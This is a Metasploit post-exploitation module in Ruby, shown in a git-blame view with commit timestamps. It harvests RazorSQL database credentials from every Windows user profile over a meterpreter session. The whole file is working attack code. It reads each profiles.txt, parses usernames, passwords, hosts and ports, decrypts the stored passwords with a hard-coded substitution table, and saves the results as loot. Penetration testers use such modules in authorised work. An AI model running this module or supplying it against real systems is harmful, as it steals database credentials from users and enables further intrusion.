2011-12-15 17:15:44 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-12-15 17:15:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/windows/user_profiles'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2012-02-21 17:03:18 +00:00
|
|
|
'Name' => 'Windows Gather RazorSQL Credentials',
|
2011-12-15 17:15:44 +00:00
|
|
|
'Description' => %q{
|
2012-02-22 05:57:55 +00:00
|
|
|
This module stores username, password, type, host, port, database (and name)
|
2011-12-15 17:15:44 +00:00
|
|
|
collected from profiles.txt of RazorSQL.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Paul Rascagneres <rascagneres[at]itrust.lu>',
|
|
|
|
'sinn3r' #Reporting, file parser
|
|
|
|
],
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status("Checking All Users...")
|
|
|
|
creds_tbl = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'RazorSQL User Credentials',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
'Username',
|
|
|
|
'Password',
|
|
|
|
'Type',
|
|
|
|
'Host',
|
|
|
|
'Port',
|
|
|
|
'Database Name',
|
|
|
|
'Database'
|
|
|
|
]
|
|
|
|
)
|
|
|
|
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
next if user['ProfileDir'] == nil
|
|
|
|
file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt"
|
|
|
|
content = get_content(file)
|
2011-12-15 18:58:21 +00:00
|
|
|
if content and not content.empty?
|
2011-12-15 17:15:44 +00:00
|
|
|
creds = parse_content(creds_tbl, content, user['UserName'])
|
|
|
|
creds.each do |c|
|
|
|
|
creds_tbl << c
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if not creds_tbl.rows.empty?
|
|
|
|
path = store_loot(
|
|
|
|
'razor.user.creds',
|
|
|
|
'text/csv',
|
|
|
|
session,
|
|
|
|
creds_tbl.to_s,
|
|
|
|
'razor_user_creds.txt',
|
|
|
|
'RazorSQL User Credentials'
|
|
|
|
)
|
|
|
|
print_line(creds_tbl.to_s)
|
2011-12-15 19:05:03 +00:00
|
|
|
print_status("User credentials stored in: #{path}")
|
2011-12-15 17:15:44 +00:00
|
|
|
else
|
|
|
|
print_error("No data collected")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_content(file)
|
|
|
|
found = session.fs.file.stat(file) rescue nil
|
|
|
|
return if not found
|
|
|
|
content=''
|
|
|
|
infile = session.fs.file.new(file, "rb")
|
|
|
|
until infile.eof?
|
|
|
|
content << infile.read
|
|
|
|
end
|
|
|
|
return content
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_content(table, content, username)
|
|
|
|
creds = []
|
|
|
|
print_line("Account: #{username}\n")
|
|
|
|
content = content.split(/\(\(Z~\]/)
|
|
|
|
content.each do |db|
|
|
|
|
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
|
|
|
|
user = (db.scan(/user=(.*)/).flatten[0] || '').strip
|
|
|
|
type = (db.scan(/type=(.*)/).flatten[0] || '').strip
|
|
|
|
host = (db.scan(/host=(.*)/).flatten[0] || '').strip
|
|
|
|
port = (db.scan(/port=(.*)/).flatten[0] || '').strip
|
|
|
|
dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip
|
|
|
|
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
|
|
|
|
|
|
|
|
# Decrypt if there's a password
|
|
|
|
pass = decrypt(pass) if not pass.empty?
|
|
|
|
|
|
|
|
# Store data
|
|
|
|
creds << [user, pass, type, host, port, dbname, database]
|
|
|
|
|
|
|
|
# Reort auth info while dumping data
|
|
|
|
report_auth_info(
|
2011-12-15 19:05:03 +00:00
|
|
|
:host => host,
|
2011-12-15 17:15:44 +00:00
|
|
|
:port => port,
|
2011-12-15 19:05:03 +00:00
|
|
|
:sname => database,
|
2011-12-15 17:15:44 +00:00
|
|
|
:user => user,
|
|
|
|
:pass => pass,
|
|
|
|
:type => 'password'
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
return creds
|
|
|
|
end
|
|
|
|
|
|
|
|
def decrypt( encrypted_password )
|
|
|
|
magic_key= {
|
|
|
|
"/" => "a" , "<" => "b" , ">" => "c" , ":" => "d" , "X" => "e" ,
|
|
|
|
"c" => "f" , "W" => "g" , "d" => "h" , "V" => "i" , "e" => "j" ,
|
|
|
|
"f" => "k" , "g" => "l" , "U" => "m" , "T" => "n" , "S" => "o" ,
|
|
|
|
"n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" ,
|
|
|
|
"i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" ,
|
|
|
|
"o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" ,
|
|
|
|
"s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" ,
|
|
|
|
"N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" ,
|
|
|
|
"y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" ,
|
|
|
|
"A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" ,
|
|
|
|
"F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" ,
|
|
|
|
"5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" ,
|
|
|
|
"2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" ,
|
|
|
|
"%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" ,
|
|
|
|
"=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" ,
|
|
|
|
"_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," ,
|
|
|
|
"\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" ,
|
|
|
|
"{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" ,
|
|
|
|
"`" => "`"
|
|
|
|
}
|
|
|
|
password=''
|
|
|
|
for letter in encrypted_password.chomp.each_char
|
|
|
|
password << magic_key[letter]
|
|
|
|
end
|
|
|
|
return password
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
http://www.razorsql.com/download.html
|
|
|
|
Tested on: v5.6.2 (win32)
|
2012-02-21 17:03:18 +00:00
|
|
|
=end
|